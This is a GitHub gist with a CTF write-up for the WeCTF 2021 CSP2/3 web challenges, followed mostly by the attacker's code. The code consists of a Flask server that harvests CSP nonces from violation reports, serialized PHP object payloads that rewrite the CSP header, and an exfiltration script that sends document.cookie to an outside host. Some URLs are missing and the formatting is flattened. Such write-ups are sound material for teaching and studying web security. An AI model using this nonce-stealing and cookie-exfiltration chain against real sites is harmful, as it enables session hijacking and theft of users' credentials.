Skip to content

Instantly share code, notes, and snippets.

Last active Jun 21, 2021
What would you like to do?
Quick and dirty writeup for WeCTF 2021 CSP2/3

CSP2/3 Not-Writeup

My solution for CSP2 and CSP3 challs in WeCTF 2021.

The python app was hosted on a server we controlled (, the payload sent to the "admin" browser was simply that url.

The server would first create a post on the CSP site, the content did not matter, I just needed the hash. The page would open an iframe containing the hash, as well as an injection for the unserialize call being made in the PHP code on the &user GET parameter (see serialize.php). This would tamper with the CSP Header sent back to set the CSP report uri back to my domain, as well as allow frame-ancestor to also allow my domain. Though I'm not sure frame-ancestor was needed.

The CSP Report would trigger straight away, as I intentionally trigger the add_js function present in the CSP post page by adding a #black.js@badnoncelol, which violates the nonce required by the original CSP headers.

function add_js(filename, nonce) {
  var head = document.head;
  var script = document.createElement('script');
  script.nonce = nonce;
  script.src = filename;
window.onhashchange = () => {let query = window.location.hash.substr(1).split('@'); add_js(query[0], query[1])};

The CSP report itself would arrive at my server, allowing it to capture the valid nonce, which is then sent back to original victim client session (frames.html) via a continuously reloading script (it wasn't meant to be pretty). Using this nonce, the iframe URL is updated to change the hash to #http://<my domain>/exfil.js@nonce, which loads the exfiltration script that sends the cookie to the server.

Besides that I also found an unintentional(?) solution for CSP2 in chrome by using the script-src-attr CSP directive and a <img onerror> payload in the post. However since the admin browser ran in firefox it didn't work for the chall.

Fulkod pga hackande.

from flask import Flask, request, render_template, make_response
import requests
import re
import json
app = Flask(__name__)
ipNonceMap = dict()
def createPost():
resp ="",
data={"content": "<h1>whatever</h1>"})
matches = re.findall(r"hash=([0-9a-f]+)", resp.text)
return matches[1]
def hello():
hash = createPost()
return render_template("frames.html", hash=hash)
def csp2js():
data = render_template(
"csp2.js", nonce=ipNonceMap.get(request.remote_addr) or "")
response = make_response(data)
response.headers['Content-Type'] = 'text/javascript'
return response
def exfil():
data = render_template("exfil.js")
response = make_response(data)
response.headers['Content-Type'] = 'text/javascript'
return response'/csp-report')
def csp_report():
data = json.loads(
# original-policy: default-src 'none'; script-src 'nonce-NDRjNGU3MjNiNjg4MjYxODFlYWI0OGM5MDlhNDg5NjIyZDI5YzVjNA=='; img-src 'self'; style-src 'nonce-NDRjNGU3MjNiNjg4MjYxODFlYWI0OGM5MDlhNDg5NjIyZDI5YzVjNA=='; base-uri 'self'; report-uri; frame-ancestors *
matches = re.findall(
r"'nonce-([^']+)", data['csp-report']["original-policy"])
if matches:
ipNonceMap[request.remote_addr] = matches[1]
print("caught ", request.remote_addr, matches[1])
return "ok"
if __name__ == "__main__":"", "1337", debug=True)
nonce = "{{nonce}}";
* Runs at parent to control frames.
if (nonce) {
// setUrl(startUrl + "#whatever@bla"); // trigger refresh
url = startUrl + "#" + "@" + nonce;
setTimeout(() => setUrl(url), 200);
* Runs on target domain.
console.log("executing on target: " + document.domain);
nonce = document.location.hash.split("@")[1];
document.querySelectorAll("h1").forEach((v) => (v.innerHTML = "pwned"));
document.querySelectorAll("p").forEach((v) => (v.innerHTML = "pwned"));
document.querySelectorAll("html").forEach((v) => (v.innerHTML = "pwned"));
add_js("" + btoa(document.cookie), nonce);
<!DOCTYPE html>
<meta charset="utf-8" />
<iframe id="payload-frame" height="1000" width="1000"></iframe>
const haash = "&hash={{hash}}";
// const userPayload =
// 'O:8:"UserData":2:{s:12:"token_string";s:11:"hello world";s:10:"cat_object";O:14:"CatWithHashGet":3:{s:11:"user_object";O:8:"UserData":1:{s:12:"token_string";s:23:"60cf249978cdc0.46514935";}s:10:"csp_object";O:17:"ShouFramework\\CSP":1:{s:17:"report_uri_string";s:58:" ; frame-ancestors *";}s:15:"template_object";O:22:"ShouFramework\\Template":0:{}}}';
// const userPayload =
// 'O:8:"UserData":2:{s:12:"token_string";s:11:"hello world";s:10:"cat_object";O:14:"CatWithHashGet":3:{s:11:"user_object";O:8:"UserData":1:{s:12:"token_string";s:23:"60cf3dfaa05ef2.83910266";}s:10:"csp_object";O:17:"ShouFramework\\CSP":1:{s:17:"report_uri_string";s:74:"http://localhost:1337/csp-report ; frame-ancestors http://localhost:1337 *";}s:15:"template_object";O:22:"ShouFramework\\Template":0:{}}}';
const userPayload =
'O:8:"UserData":2:{s:12:"token_string";s:11:"hello world";s:10:"cat_object";O:14:"CatWithHashGet":3:{s:11:"user_object";O:8:"UserData":1:{s:12:"token_string";s:23:"60cf3e8d26f3b6.45522431";}s:10:"csp_object";O:17:"ShouFramework\\CSP":1:{s:17:"report_uri_string";s:68:" ; frame-ancestors *";}s:15:"template_object";O:22:"ShouFramework\\Template":0:{}}}';
// const startUrl = "" + haash + "&user=" + userPayload;
const startUrl = "" + haash + "&user=" + userPayload;
function setUrl(url) {
document.getElementById("payload-frame").src = url;
function add_js_parent(filename) {
var head = document.head;
var script = document.createElement("script");
script.src = filename;
setTimeout(() => {
setUrl(startUrl + "#black.js@badnoncelol"); // should trigger csp report :)
}, 500);
setInterval(async () => {
}, 1000);
require_once "index.php";
require_once "framework/CSP.module";
$obj = new UserData();
$obj->token_string = "hello world";
$obj->cat_object = new CatWithHashGet();
$obj->cat_object->csp_object = new ShouFramework\CSP();
$directives = [
$domain = "";
$domain = "localhost:1337";
$domain = "";
// $notsafe = " 'self' 'unsafe-inline' 'unsafe-eval' * http://* javascript: data: 'nonce-aGVqaGVqaGVq' ; ";
$obj->cat_object->csp_object->report_uri_string = "http://$domain/csp-report ; frame-ancestors http://$domain *"; //; " . implode($notsafe, $directives) . $notsafe; // . str_repeat("AAA", 456);
$ser = serialize($obj);
echo "\n";
echo "\n";
echo "\n";
echo "\n";
echo "\n";
echo $ser . "\n";
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment